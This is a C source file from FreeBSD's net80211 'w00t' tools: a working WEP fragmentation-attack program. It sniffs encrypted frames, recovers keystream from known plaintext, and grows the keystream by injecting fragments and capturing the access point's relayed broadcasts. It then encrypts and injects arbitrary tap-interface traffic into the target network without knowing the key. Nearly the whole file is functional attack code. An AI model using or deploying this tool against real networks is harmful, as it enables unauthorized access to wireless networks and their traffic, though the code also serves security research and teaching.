prga.c revision 262007
1/*-
2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 *    notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 *    notice, this list of conditions and the following disclaimer in the
12 *    documentation and/or other materials provided with the distribution.
13 *
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 * SUCH DAMAGE.
25 *
26 * $FreeBSD: stable/10/tools/tools/net80211/w00t/prga/prga.c 262007 2014-02-17 01:36:53Z kevlo $
27 */
28#include <sys/endian.h>
29#include <sys/time.h>
30#include <sys/select.h>
31#include <stdio.h>
32#include <stdlib.h>
33#include <string.h>
34#include <err.h>
35#include <unistd.h>
36#include <fcntl.h>
37#include <assert.h>
38#include <zlib.h>
39#include "w00t.h"
40
41
42static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
43static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
44static int known_pt_len = 8;
45
46enum {
47	S_START = 0,
48	S_SEND_FRAG,
49	S_WAIT_ACK,
50	S_WAIT_RELAY
51};
52
53struct params {
54	int tx;
55	int rx;
56
57	char mac[6];
58	char ap[6];
59
60	char prga[2048];
61	int prga_len;
62	char iv[3];
63
64	char *fname;
65
66	struct timeval last;
67	char packet[2048];
68	int packet_len;
69	int state;
70
71	char data[2048];
72	char *data_ptr;
73	int data_len;
74	int data_try;
75	int mtu;
76
77	int seq;
78	int frag;
79
80	int tap;
81};
82
83void usage(char *p)
84{
85	printf("Usage: %s <opts>\n"
86	       "-h\thelp\n"
87	       "-b\t<bssid>\n"
88	       "-t\t<tap>\n"
89	       , p);
90	exit(0);
91}
92
93void load_prga(struct params *p)
94{
95	int fd;
96	int rd;
97
98	fd = open(p->fname, O_RDONLY);
99	if (fd == -1) {
100		p->prga_len = 0;
101		return;
102	}
103
104	rd = read(fd, p->iv, 3);
105	if (rd == -1)
106		err(1, "read()");
107	if (rd != 3) {
108		printf("Short read\n");
109		exit(1);
110	}
111
112	rd = read(fd, p->prga, sizeof(p->prga));
113	if (rd == -1)
114		err(1, "read()");
115	p->prga_len = rd;
116
117	printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
118	close(fd);
119}
120
121void save_prga(struct params *p)
122{
123	int fd;
124	int rd;
125
126	fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
127	if (fd == -1)
128		err(1, "open()");
129
130	rd = write(fd, p->iv, 3);
131	if (rd == -1)
132		err(1, "write()");
133	if (rd != 3) {
134		printf("Short write\n");
135		exit(1);
136	}
137
138	rd = write(fd, p->prga, p->prga_len);
139	if (rd == -1)
140		err(1, "write()");
141	if (rd != p->prga_len) {
142		printf("Wrote %d/%d\n", rd, p->prga_len);
143		exit(1);
144	}
145	close(fd);
146
147	printf("Got %d bytes of PRGA\n", p->prga_len);
148}
149
150int is_arp(struct ieee80211_frame *wh, int len)
151{
152	/* XXX */
153	if (len > (sizeof(*wh) + 4 + 4 + 39))
154		return 0;
155
156	return 1;
157}
158
159void get_prga(struct params *p)
160{
161	char buf[4096];
162	int rc;
163        struct ieee80211_frame *wh;
164	char *bssid;
165	char *ptr;
166	char *known_pt;
167
168        rc = sniff(p->rx, buf, sizeof(buf));
169        if (rc == -1)
170                err(1, "sniff()");
171
172        wh = get_wifi(buf, &rc);
173        if (!wh)
174                return;
175
176	if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
177			IEEE80211_FC0_SUBTYPE_DATA))
178		return;
179
180	if (is_arp(wh, rc))
181		known_pt = known_pt_arp;
182	else
183		known_pt = known_pt_ip;
184
185	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
186		bssid = wh->i_addr1;
187	else
188		bssid = wh->i_addr2;
189
190	if (memcmp(p->ap, bssid, 6) != 0)
191		return;
192
193	if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
194		printf("Packet not WEP!\n");
195		return;
196	}
197
198	ptr = (char*) (wh+1);
199	memcpy(p->iv, ptr, 3);
200	ptr += 4;
201	rc -= sizeof(wh) + 4;
202
203	assert(rc >= known_pt_len);
204
205	for (rc = 0; rc < known_pt_len; rc++) {
206		p->prga[rc] = known_pt[rc] ^ (*ptr);
207		ptr++;
208	}
209
210	p->prga_len = rc;
211	save_prga(p);
212}
213
214void start(struct params *p)
215{
216	int len;
217
218	len = p->prga_len;
219	len -= 4;
220	assert(len > 0);
221
222	len *= 4;
223	if (len > p->mtu)
224		len = p->mtu;
225
226	p->data_len = len;
227	memset(p->data, 0, p->data_len);
228	memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
229	p->data_ptr = p->data;
230	p->data_try = 0;
231	p->seq++;
232	p->frag = 0;
233	p->state = S_SEND_FRAG;
234}
235
236void send_packet(struct params *p)
237{
238	int rc;
239	struct ieee80211_frame *wh;
240
241	rc = inject(p->tx, p->packet, p->packet_len);
242	if (rc == -1)
243		err(1, "inject()");
244	if (rc != p->packet_len) {
245		printf("Wrote %d/%d\n", rc, p->packet_len);
246		exit(1);
247	}
248
249	p->data_try++;
250	wh = (struct ieee80211_frame*) p->packet;
251	wh->i_fc[1] |= IEEE80211_FC1_RETRY;
252
253	if (gettimeofday(&p->last, NULL) == -1)
254		err(1, "gettimeofday()");
255}
256
257void send_frag(struct params *p)
258{
259	struct ieee80211_frame *wh;
260	int dlen, rem;
261	int last = 0;
262	short *seqp;
263	char *ptr;
264	uLong *pcrc;
265	uLong crc = crc32(0L, Z_NULL, 0);
266	int i;
267
268	memset(p->packet, 0, sizeof(p->packet));
269	wh = (struct ieee80211_frame*) p->packet;
270
271	/* calculate how much data we need to copy */
272	dlen = p->prga_len - 4;
273	rem = p->data_ptr - p->data;
274	rem = p->data_len - rem;
275
276	if (rem <= dlen) {
277		dlen = rem;
278		last = 1;
279	}
280
281	/* 802.11 */
282	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
283	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
284	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
285	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
286	if (!last)
287		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
288
289	wh->i_dur[0] = 0x69;
290	wh->i_dur[1] = 0x00;
291
292	memcpy(wh->i_addr1, p->ap, 6);
293	memcpy(wh->i_addr2, p->mac, 6);
294	memset(wh->i_addr3, 0xff, 6);
295
296	seqp = (short*) wh->i_seq;
297	*seqp = seqfn(p->seq, p->frag);
298	p->frag++;
299
300	/* IV & data */
301	ptr = (char*) (wh+1);
302	memcpy(ptr, p->iv, 3);
303	ptr += 4;
304	memcpy(ptr, p->data_ptr, dlen);
305
306	/* crc */
307	crc = crc32(crc, ptr, dlen);
308	pcrc = (uLong*) (ptr+dlen);
309	*pcrc = crc;
310
311	/* wepify */
312	for (i = 0; i < dlen+4; i++)
313		ptr[i] = ptr[i] ^ p->prga[i];
314
315	/* prepare for next frag */
316	p->packet_len = sizeof(*wh) + 4 + dlen + 4;
317	p->data_ptr += dlen;
318#if 0
319	printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
320	       p->seq, p->frag, dlen);
321#endif
322	if (last) {
323		p->data_ptr = p->data;
324		p->frag = 0;
325		p->seq++;
326	}
327
328	/* send it off */
329	send_packet(p);
330	p->state = S_WAIT_ACK;
331}
332
333void wait_ack(struct params *p)
334{
335	struct timeval now;
336	int el;
337	int tout = 10*1000;
338	fd_set fds;
339	int rc;
340	char buf[4096];
341	struct ieee80211_frame *wh;
342
343	if (gettimeofday(&now, NULL) == -1)
344		err(1, "gettimeofday()");
345
346	/* check for timeout */
347	el = elapsed(&p->last, &now);
348	if (el >= tout) {
349		if (p->data_try >= 3) {
350#if 0
351			printf("Re-sending whole lot\n");
352#endif
353			p->state = S_START;
354			return;
355		}
356#if 0
357		printf("Re-sending frag\n");
358#endif
359		send_packet(p);
360		el = 0;
361	}
362
363	el = tout - el;
364	now.tv_sec = el/1000/1000;
365	now.tv_usec = el - now.tv_sec*1000*1000;
366
367	FD_ZERO(&fds);
368	FD_SET(p->rx, &fds);
369	if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
370		err(1, "select()");
371
372	if (!FD_ISSET(p->rx, &fds))
373		return;
374
375	/* grab ack */
376        rc = sniff(p->rx, buf, sizeof(buf));
377        if (rc == -1)
378                err(1, "sniff()");
379
380        wh = get_wifi(buf, &rc);
381        if (!wh)
382                return;
383
384	if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
385		return;
386
387	if (memcmp(p->mac, wh->i_addr1, 6) != 0)
388		return;
389
390	/* wait for relay */
391	if (p->frag == 0) {
392		p->state = S_WAIT_RELAY;
393		if (gettimeofday(&p->last, NULL) == -1)
394			err(1, "gettimeofday()");
395	}
396	else
397		p->state = S_SEND_FRAG;
398}
399
400void wait_relay(struct params *p)
401{
402	int tout = 20*1000;
403	struct timeval now;
404	int el;
405	fd_set fds;
406	int rc;
407	char buf[4096];
408	struct ieee80211_frame *wh;
409	char *ptr;
410	uLong crc = crc32(0L, Z_NULL, 0);
411	uLong *pcrc;
412
413	if (gettimeofday(&now, NULL) == -1)
414		err(1, "gettimeofday()");
415
416	el = elapsed(&p->last, &now);
417	if (el >= tout) {
418#if 0
419		printf("No relay\n");
420#endif
421		p->state = S_START;
422		return;
423	}
424	el = tout - el;
425	now.tv_sec = el/1000/1000;
426	now.tv_usec = el - now.tv_sec*1000*1000;
427
428	FD_ZERO(&fds);
429	FD_SET(p->rx, &fds);
430	if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
431		err(1, "select()");
432
433	if (!FD_ISSET(p->rx, &fds))
434		return;
435
436	/* get relay */
437        rc = sniff(p->rx, buf, sizeof(buf));
438        if (rc == -1)
439                err(1, "sniff()");
440
441        wh = get_wifi(buf, &rc);
442        if (!wh)
443                return;
444
445	if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
446			IEEE80211_FC0_SUBTYPE_DATA))
447		return;
448
449	if (memcmp(wh->i_addr2, p->ap, 6) != 0)
450		return;
451
452	if (memcmp(wh->i_addr3, p->mac, 6) != 0)
453		return;
454
455	if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
456		return;
457
458	/* lends different due to padding? */
459	if ( (rc - sizeof(*wh) - 8) != p->data_len)
460		return;
461
462	/* grab new PRGA */
463	assert(p->data_len >= p->prga_len);
464	ptr = (char*) (wh+1);
465	memcpy(p->iv, ptr, 3);
466	ptr += 4;
467
468	crc = crc32(crc, p->data, p->data_len);
469	pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
470	*pcrc = crc;
471
472	for (rc = 0; rc < p->data_len+4; rc++)
473		p->prga[rc] = p->data[rc] ^ ptr[rc];
474
475	p->prga_len = p->data_len+4;
476	p->state = S_START;
477	save_prga(p);
478}
479
480void get_more_prga(struct params *p)
481{
482	switch (p->state) {
483	case S_START:
484		start(p);
485		break;
486
487	case S_SEND_FRAG:
488		send_frag(p);
489		break;
490
491	case S_WAIT_ACK:
492		wait_ack(p);
493		break;
494
495	case S_WAIT_RELAY:
496		wait_relay(p);
497		break;
498
499	default:
500		printf("WTF %d\n", p->state);
501		abort();
502		break;
503	}
504}
505
506void read_tap(struct params *p)
507{
508	int offset;
509	char *ptr;
510	struct ieee80211_frame *wh;
511	int rc;
512	char dst[6];
513	short *seq;
514	uLong *pcrc;
515	uLong crc = crc32(0L, Z_NULL, 0);
516
517	memset(p->packet, 0, sizeof(p->packet));
518	offset = sizeof(*wh) + 4 + 8 - 14;
519	rc = sizeof(p->packet) - offset;
520	ptr = &p->packet[offset];
521
522	rc = read(p->tap, ptr, rc);
523	if (rc == -1)
524		err(1, "read()");
525
526	memcpy(dst, ptr, sizeof(dst));
527	wh = (struct ieee80211_frame*) p->packet;
528	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
529	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
530	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
531	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
532
533	wh->i_dur[0] = 0x69;
534
535	memcpy(wh->i_addr1, p->ap, 6);
536	memcpy(wh->i_addr2, p->mac, 6);
537	memcpy(wh->i_addr3, dst, 6);
538
539	seq = (short*) wh->i_seq;
540	*seq = seqfn(p->seq++, 0);
541
542	/* data */
543	ptr = (char*) (wh+1);
544	memcpy(ptr, p->iv, 3);
545	ptr += 3;
546	*ptr++ = 0;
547	memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
548	rc -= 14;
549	rc += 8;
550
551	crc = crc32(crc, ptr, rc);
552	pcrc = (uLong*) (ptr+rc);
553	*pcrc = crc;
554
555	rc += 4;
556
557	assert(p->prga_len >= rc);
558
559	/* wepify */
560	for (offset = 0; offset < rc; offset++)
561		ptr[offset] ^= p->prga[offset];
562
563	p->packet_len = sizeof(*wh) + 4 + rc;
564	p->data_try = 0;
565	send_packet(p);
566	p->state = S_WAIT_ACK;
567}
568
569/* XXX */
570void wait_tap_ack(struct params *p)
571{
572	p->data_try = 0;
573	p->frag = 1;
574	wait_ack(p);
575
576	if (p->state == S_SEND_FRAG) {
577#if 0
578		printf("Got ACK\n");
579#endif
580		p->state = S_START;
581	}
582}
583
584void transmit(struct params *p)
585{
586	switch (p->state) {
587	case S_START:
588		read_tap(p);
589		break;
590
591	case S_WAIT_ACK:
592		wait_tap_ack(p);
593		break;
594
595	default:
596		printf("wtf %d\n", p->state);
597		abort();
598		break;
599	}
600}
601
602int main(int argc, char *argv[])
603{
604	struct params p;
605	char *iface = "wlan0";
606	char *tap = "tap0";
607	int ch;
608
609	memset(&p, 0, sizeof(p));
610	p.fname = "prga.log";
611	memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
612	p.state = S_START;
613	p.mtu = 1500;
614	p.seq = getpid();
615
616	while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
617		switch (ch) {
618		case 'b':
619			if (str2mac(p.ap, optarg) == -1) {
620				printf("Can't parse BSSID\n");
621				exit(1);
622			}
623			break;
624
625		case 't':
626			tap = optarg;
627			break;
628
629		case 'h':
630		default:
631			usage(argv[0]);
632			break;
633		}
634	}
635
636	/* init */
637	if ((p.rx = open_rx(iface)) == -1)
638		err(1, "open_rx()");
639	if ((p.tx = open_tx(iface)) == -1)
640		err(1, "open_tx()");
641
642	if ((p.tap = open_tap(tap)) == -1)
643		err(1, "open_tap()");
644	if (set_iface_mac(tap, p.mac) == -1)
645		err(1, "set_iface_mac()");
646
647	printf("Obtaining PRGA\n");
648	/* make sure we got some prga */
649	load_prga(&p);
650
651	while (p.prga_len == 0)
652		get_prga(&p);
653
654	/* lets grab some more */
655	while (p.prga_len < p.mtu)
656		get_more_prga(&p);
657
658	/* transmit */
659	p.state = S_START;
660	while (1)
661		transmit(&p);
662
663	exit(0);
664}
665